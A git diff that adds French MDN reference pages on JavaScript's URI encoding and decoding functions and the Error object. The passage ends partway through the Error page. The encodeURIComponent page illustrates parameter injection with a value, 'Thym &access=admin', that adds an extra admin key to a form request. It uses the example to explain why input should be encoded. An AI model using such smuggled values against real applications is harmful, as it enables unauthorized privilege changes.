+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">decodeURIComponent(<var>encodedURI</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>Un composant d'URI qui est encodé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères qui représente la version décodée du composant d'URI encodé passé en argument.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<p>Cette méthode lève une exception {{jsxref("URIError")}} ("<em>malformed URI sequence</em>") lorsqu'elle est utilisée de façon incorrecte.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode remplace chaque séquence d'échappement du composant d'URI encodé par le caractère que la séquence représente.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Décoder_un_composant_d'URL_encodé">Décoder un composant d'URL encodé</h3>
+
+<pre class="brush: js">decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "JavaScript_шеллы"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.decodeURIComponent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html b/files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html
new file mode 100644
index 0000000000..65bd21d5ef
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html
@@ -0,0 +1,124 @@
+---
+title: encodeURI()
+slug: Web/JavaScript/Reference/Objets_globaux/encodeURI
+tags:
+  - JavaScript
+  - Reference
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>encodeURI()</strong></code> encode un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par une, deux, trois ou quatre séquences d'échappement représentant le caractère encodé en UTF-8 (les quatre séquences d'échappement ne seront utilisées que si le caractère est composé de deux caractères « <em>surrogate</em> »).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-encodeuri.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">encodeURI(<var>URI</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>URI</code></dt>
+ <dd>Un Uniform Resource Identifier complet.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères représentant un URI, encodé, à partir de la chaîne de caractères passée en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>encodeURI()</code> échappe tous les caractères sauf ceux-ci :</p>
+
+<pre>A-Z a-z 0-9 ; , / ? : @ &amp; = + $ - _ . ! ~ * ' ( ) #
+</pre>
+
+<p><code>encodeURI()</code> est différente de {{jsxref("encodeURIComponent")}}. Par exemple :</p>
+
+<pre class="brush: js">var set1 = ";,/?:@&amp;=+$#";  // Caractères réservés
+var set2 = "-_.!~*'()";   // Caractères non-réservés
+var set3 = "ABC abc 123"; // Caractères alphanumériques et espace
+
+console.log(encodeURI(set1)); // ;,/?:@&amp;=+$#
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24%23
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+</pre>
+
+<p>Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère <em>surrogate</em> (demi-codet) qui ne fait pas partie d'une paire :</p>
+
+<pre class="brush: js">// On a une paire de codets <em>surrogate</em>
+console.log(encodeURI('\uD800\uDFFF'));
+
+// Ici, seul le caractère "haut"
+// ce qui déclenche une "URIError: malformed URI sequence"
+console.log(encodeURI('\uD800'));
+
+// Ici, seul le caractère "bas"
+// ce qui déclenche une "URIError: malformed URI sequence"
+console.log(encodeURI('\uDFFF'));
+</pre>
+
+<p><code>encodeURI()</code> ne permet pas de former des requêtes HTTP GET ou POST (par exemple avec {{domxref("XMLHTTPRequest")}}) car "&amp;", "+" et "=" ne sont pas encodés et sont traités comme des caractères spéciaux (toutefois, la méthode. {{jsxref("encodeURIComponent")}} pourra être utilisée pour encoder ces caractères).</p>
+
+<p>Si on souhaite suivre la <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> qui concerne les URL et qui rend les crochets réservés (pour IPv6) (il ne faut donc plus encoder ces caractères lorsqu'ils font partie d'une URL (notamment pour la partie représentant l'hôte), on pourra utiliser le fragment de code suivant :</p>
+
+<pre class="brush: js">function fixedEncodeURI(str) {
+  return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-encodeuri-uri', 'encodeURI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuri-uri', 'encodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.3', 'encodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.encodeURI")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html b/files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html
new file mode 100644
index 0000000000..054b5492b9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html
@@ -0,0 +1,163 @@
+---
+title: encodeURIComponent()
+slug: Web/JavaScript/Reference/Objets_globaux/encodeURIComponent
+tags:
+  - JavaScript
+  - Reference
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>encodeURIComponent()</strong></code> permet d'encoder un composant d'un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par une, deux, trois ou quatres séquences d'échappement UTF-8 correspondantes (quatre séquences seront utilisées uniquement lorsque les caractères à encoder sont composés de deux caractères « <em>surrogate</em> »).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-encodeuricomponent.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">encodeURIComponent(<var>str</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Une chaîne de caractères qui correspond à un composant d'URI.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères qui représente un composant d'URI obtenu en encodant la chaîne passée en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>encodeURIComponent()</code> échappe tous les caractères sauf : les lettres de l'alphabet latin, les chiffres (arabes) et <code>- _ . ! ~ * ' ( )</code></p>
+
+<p>La méthode <code>encodeURIComponent()</code> diffère de la méthode <code>encodeURI()</code> par rapport aux caractères qui sont encodés :</p>
+
+<pre class="brush: js">var set1 = ";,/?:@&amp;=+$";  // Caractères réservés
+var set2 = "-_.!~*'()";   // Caractères non-réservés
+var set3 = "#";           // Croisillon
+var set4 = "ABC abc 123"; // Caractères alphanumériques et espace
+
+console.log(encodeURI(set1)); // ;,/?:@&amp;=+$
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // #
+console.log(encodeURI(set4)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // #
+console.log(encodeURIComponent(set4)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+</pre>
+
+<p>Une exception {{jsxref("URIError")}} sera levée lorsqu'on utilise cette fonction sur un unique demi-codet qui est censé faire partie d'une paire de demi-codets :</p>
+
+<pre class="brush: js">// la paire de demi-codets : OK
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// seul le demi-codet supérieur : "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// seul le demi-codet inférieur : "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p>Afin d'éviter des requêtes inattendues vers le serveur, il est conseillé d'utiliser la fonction <code>encodeURIComponent()</code> pour n'importe quel paramètre qui aurait été saisi par l'utilisateur et qui ferait partie d'un URI. Ainsi, si un utilisateur peut saisir "<code>Thym &amp;access=admin</code>" dans une variable <code>commentaire</code> et qu'on n'utilise pas <code>encodeURIComponent()</code>, on obtiendra la chaîne <code>commentaire=Thym%20&amp;access=admin</code>. On voit ici que l'esperluette (&amp;) et le signe égal forment une nouvelle paire clé/valeur. Au lieu d'avoir une clé POST <code>commentaire</code> égale à "<code>Thym &amp;access=admin</code>", on aura deux clés POST, l'une égale à "<code>Thym </code>" et une seconde (<code>access</code>) égale à <code>admin</code>.</p>
+
+<p>Pour <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#application/x-www-form-urlencoded-encoding-algorithm"><code>application/x-www-form-urlencoded</code></a>, les espaces sont remplacés par un '+', aussi, dans ce cas, on pourra ajouter un remplacement supplémentaire après <code>encodeURIComponent()</code> pour remplacer "%20" par "+".</p>
+
+<p>Pour utiliser une fonction qui respecte la <a class="external" href="https://tools.ietf.org/html/rfc3986">RFC 3986</a>, plus stricte (qui réserve les caractères !, ', (, ), et * même si ces caractères n'ont pas d'usage normalisé), on pourra utiliser la fonction suivante :</p>
+
+<pre class="brush: js">function fixedEncodeURIComponent (str) {
+  return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
+    return '%' + c.charCodeAt(0).toString(16);
+  });
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on utilise une méthode spéciale pour l'encodage afin d'utiliser les paramètres d'en-tête de réponse <code>Content-Disposition</code> et <code>Link</code> (pour, par exemple, représenter des noms de fichiers en UTF-8) :</p>
+
+<pre class="brush: js">var nomFichier = 'mon fichier(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''"
+             + encodeRFC5987ValueChars(nomFichier);
+
+console.log(header);
+// affiche "Content-Disposition: attachment; filename*=UTF-8''mon%20fichier%282%29.txt"
+
+
+function encodeRFC5987ValueChars (str) {
+    return encodeURIComponent(str).
+        // Bien que la RFC 3986 réserve "!", RFC 5987 ne réserve pas ce caractère,
+        // il n'est donc pas nécessaire l'échapper
+        replace(/['()]/g, escape). // c'est-à-dire %27 %28 %29
+        replace(/\*/g, '%2A').
+            // Selon la RFC 5987 ce qui suit n'est pas nécessairement requis
+            // on peut donc bénéficier d'un peu plus de lisibilité : |`^
+            replace(/%(?:7C|60|5E)/g, unescape);
+}
+
+// Voici une autre version équivalente
+function encodeRFC5987ValueChars2(str) {
+  return encodeURIComponent(str).
+    // Bien que la RFC 3986 réserve "!", RFC 5987 ne réserve pas ce caractère,
+    // il n'est donc pas nécessaire l'échapper
+    replace(/['()*]/g, c =&gt; '%' + c.charCodeAt(0).toString(16)). // i.e., %27 %28 %29 %2a
+    // on notera que l'encodage valide pour "*" est %2A et qui faut donc appeler toUpperCase()
+    // pour encoder exactement.
+
+    // Selon la RFC 5987 ce qui suit n'est pas nécessairement requis
+    // on peut donc bénéficier d'un peu plus de lisibilité : |`^
+    replace(/%(7C|60|5E)/g, (str, hex) =&gt; String.fromCharCode(parseInt(hex, 16)));
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.encodeURIComponent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html b/files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html
new file mode 100644
index 0000000000..813eb382a9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html
@@ -0,0 +1,43 @@
+---
+title: Error.prototype.columnNumber
+slug: Web/JavaScript/Reference/Objets_globaux/Error/columnNumber
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété <code><strong>columnNumber</strong></code> contient le numéro de la colonne, dans la ligne du fichier qui a déclenché l'erreur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_de_columnNumber">Utiliser de <code>columnNumber</code></h3>
+
+<pre class="brush: js">var e = new Error("Ne peut pas lire la donnée");
+throw e;
+console.log(e.columnNumber) // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Non standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.columnNumber")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/filename/index.html b/files/fr/web/javascript/reference/objets_globaux/error/filename/index.html
new file mode 100644
index 0000000000..fb52011488
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/filename/index.html
@@ -0,0 +1,48 @@
+---
+title: Error.prototype.fileName
+slug: Web/JavaScript/Reference/Objets_globaux/Error/fileName
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété <code><strong>fileName</strong></code> contient le chemin vers le fichier qui a déclenché l'erreur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette propriété non-standard contient le chemin vers le fichier qui a déclenché cette erreur. Si elle est appelée depuis un débugger (les outils de développement de Firefox par exemple), "debugger eval code" sera renvoyé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_fileName">Utiliser <code>fileName</code></h3>
+
+<pre class="brush: js">var e = new Error("Ne peut pas lire la donnée");
+throw e;
+// e.fileName peut ressembler à "file:///C:/exemple.html"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Non standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Error.fileName")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/index.html b/files/fr/web/javascript/reference/objets_globaux/error/index.html
new file mode 100644
index 0000000000..e267e237f4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/error/index.html
@@ -0,0 +1,249 @@
+---
+title: Error
+slug: Web/JavaScript/Reference/Objets_globaux/Error
+tags:
+  - Error
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <strong><code>Error</code></strong> crée un objet d'erreur. Des instances d'objets <code>Error</code> sont déclenchées lorsque des erreurs d'exécution surviennent. L'objet <code>Error</code> peut aussi être utilisé comme objet de base pour des exceptions définies par l'utilisateur. Voir ci-dessous pour les types d'erreur natifs standard.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">new Error([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>Description de l'erreur sous une forme lisible par un humain.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{Non-standard_inline}}</dt>
+ <dd>Argument qui sera utilisé pour la valeur de la propriété <code>fileName</code> dans l'objet <code>Error</code> créé. Par défaut, ce sera le nom du fichier contenant le code qui a appelé le constructeur <code>Error()</code>.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{Non-standard_inline}}</dt>
+ <dd>Argument qui sera utilisé pour la valeur de la propriété <code>lineNumber</code> dans l'objet <code>Error</code> créé. Par défaut, ce sera le numéro de la ligne contenant l'invocation du constructeur <code>Error()</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les erreurs d'exécution ont pour résultat la création et le déclenchement d'objets <code>Error</code>.</p>
+
+<p>Cette page documente l'utilisation de l'objet <code>Error</code> lui-même et son utilisation comme fonction constructeur. Pour une liste des propriétés et des méthodes héritées par les instances d'<code>Error</code>,  voir {{jsxref("Error.prototype")}}.</p>
+
+<h3 id="Utilisation_de_Error_comme_fonction">Utilisation de <code>Error</code> comme fonction</h3>
+
+<p>Lorsqu'<code>Error</code> est utilisée comme fonction sans utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}, cet appel renverra un objet <code>Error</code>. Aussi, un simple appel à <code>Error</code> produira le même résultat qu'une invocation avec <code>new</code>.</p>
+
+<pre class="brush: js notranslate">// Cette instruction :
+const x = Error("J'ai été créée sans new");
+
+// Aura le même effet que
+const y = new Error("J'ai été créée avec new");</pre>
+
+<h3 id="Types_derreur">Types d'erreur</h3>
+
+<p>En plus du constructeur <code>Error</code> générique, il existe sept autres constructeurs d'erreur de base en JavaScript. Pour les exceptions côté client, voir <a href="/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs">Contrôle du flux d'instructions et gestion des erreurs</a>.</p>
+
+<dl>
+ <dt>{{jsxref("EvalError")}}</dt>
+ <dd>Crée une instance représentant une erreur se produisant en relation avec la fonction globale {{jsxref("eval","eval()")}}.</dd>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Crée une instance représentant une erreur se produisant quand une variable numérique ou un paramètre est en dehors de sa plage de validité.</dd>
+ <dt>{{jsxref("ReferenceError")}}</dt>
+ <dd>Crée une instance représentant une erreur se produisant lors du déréférencement d'une référence invalide.</dd>
+ <dt>{{jsxref("SyntaxError")}}</dt>
+ <dd>Crée une instance représentant une erreur de syntaxe se produisant lors d'une analyse de code dans {{jsxref("eval", "eval()")}}.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Crée une instance représentant une erreur se produisant quand une variable ou un paramètre n'est pas d'un type valide.</dd>
+ <dt>{{jsxref("URIError")}}</dt>
+ <dd>Crée une instance représentant une erreur se produisant quand des paramètres invalides sont passés à {{jsxref("encodeURI", "encodeURI()")}} ou à {{jsxref("decodeURI", "decodeURI()")}}.</dd>
+ <dt>{{JSxRef("AggregateError")}}</dt>
+ <dd>Crée une instance représentant différentes erreurs agrégées en une seule lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}}.</dd>
+ <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt>
+ <dd>Crée une instance représentant une erreur se produisant quand une erreur interne dans le moteur JavaScript est déclenchée. Par ex., "too much recursion".</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype")}}</dt>
+ <dd>Permet l'ajout de propriétés aux instances <code>Error</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>Error</code> ne contient pas de méthodes en propre, toutefois, il hérite de certaines méthodes via la chaine de prototype.</p>
+
+<h2 id="Instances_dError">Instances d'<code>Error</code></h2>
+
+<div>{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Description')}}</div>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Propriétés')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclenchement_dune_erreur_générique">Déclenchement d'une erreur générique</h3>
+
+<p>Vous créez habituellement un objet <code>Error</code> dans l'intention de le déclencher en utilisant le mot-clé {{jsxref("Instructions/throw", "throw")}}. Vous pouvez gérer l'erreur en utilisant la construction {{jsxref("Instructions/try...catch", "try...catch")}} :</p>
+
+<pre class="brush: js notranslate">try {
+    throw new Error("Ouups !");
+} catch (e) {
+    console.log(e.name + ": " + e.message);
+}
+</pre>
+
+<h3 id="Gestion_dune_erreur_spécifique">Gestion d'une erreur spécifique</h3>
+
+<p>Vous pouvez choisir de ne gérer que des types d'erreur particuliers en testant le type de l'erreur via la propriété {{jsxref("Object.prototype.constructor", "constructor")}} de l'erreur ou, si vous écrivez pour des interpréteurs JavaScript modernes, le mot-clé {{jsxref("Opérateurs/instanceof", "instanceof")}} :</p>
+
+<pre class="brush: js notranslate">try {
+    machin.truc();
+} catch (e) {
+    if (e instanceof EvalError) {
+        console.log(e.name + ": " + e.message);
+    } else if (e instanceof RangeError) {
+        console.log(e.name + ": " + e.message);
+    }
+    // ... etc
+}
+</pre>
+
+<h3 id="Types_derreur_personnalisés">Types d'erreur personnalisés</h3>
+
+<p>Vous pouvez vouloir définir vos propres types d'erreur dérivants d'<code>Error</code> pour pouvoir écrire <code>throw new MonErreur()</code> et utiliser <code>instanceof MonErreur</code> afin de vérifier le type d'erreur dans le gestionnaire d'exceptions. Cela a pour résultat un code de gestion d'erreur plus propre et plus cohérent. Voir <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript"><em>What's a good way to extend Error in JavaScript?</em></a> sur StackOverflow pour une discussion en profondeur.</p>
+
+<h4 id="Classes_derreur_personnalisées_avec_ECMAScript_2015_ES6">Classes d'erreur personnalisées avec ECMAScript 2015 / ES6</h4>
+
+<div class="warning">
+<p><strong>Attention !</strong> Babel, dans les versions antérieures à Babel 7, ainsi que d'autres transpileurs ne géreront pas correctement le code suivant sans <a href="https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend">configuration supplémentaire</a>. Les versions de Babel antérieures à la version 7 peuvent uniquement gérer les classes d'erreur personnalisées lorsque celles-ci sont créées avec <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty">Object.defineProperty()</a></code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Certains navigateurs incluent le constructeur <code>CustomError</code> (Erreur Personnalisée) dans la pile d'appels lors de l'utilisation de classes ES6.</p>
+</div>
+
+<pre class="brush: js notranslate">class CustomError extends Error {
+  constructor(machin = 'truc', ...params) {
+    // Passer les arguments restants (incluant ceux spécifiques au vendeur) au constructeur parent
+    super(...params);
+
+    // Maintenir dans la pile une trace adéquate de l'endroit où l'erreur a été déclenchée (disponible seulement en V8)
+    if(Error.captureStackTrace) {
+      Error.captureStackTrace(this, CustomError);
+    }
+    this.name = 'CustomError';
+    // Informations de déboguage personnalisées
+    this.machin = machin;
+    this.date = new Date();
+  }
+}
+
+try {
+  throw new CustomError('bidule', 'messageBidule');
+} catch(e){
+  console.log(e.name);    // CustomError
+  console.log(e.machin);  // bidule
+  console.log(e.message); // messageBidule
+  console.log(e.stack);   // stacktrace
+}</pre>
+
+<h4 id="Objet_derreur_personnalisé_ES5">Objet d'erreur personnalisé ES5</h4>
+
+<div class="warning">
+<p><strong>Attention ! Tous</strong> les navigateurs incluent le constructeur <code>CustomError</code> dans la pile  d'appel lorsqu'une déclaration prototypale est utilisée.</p>
+</div>
+
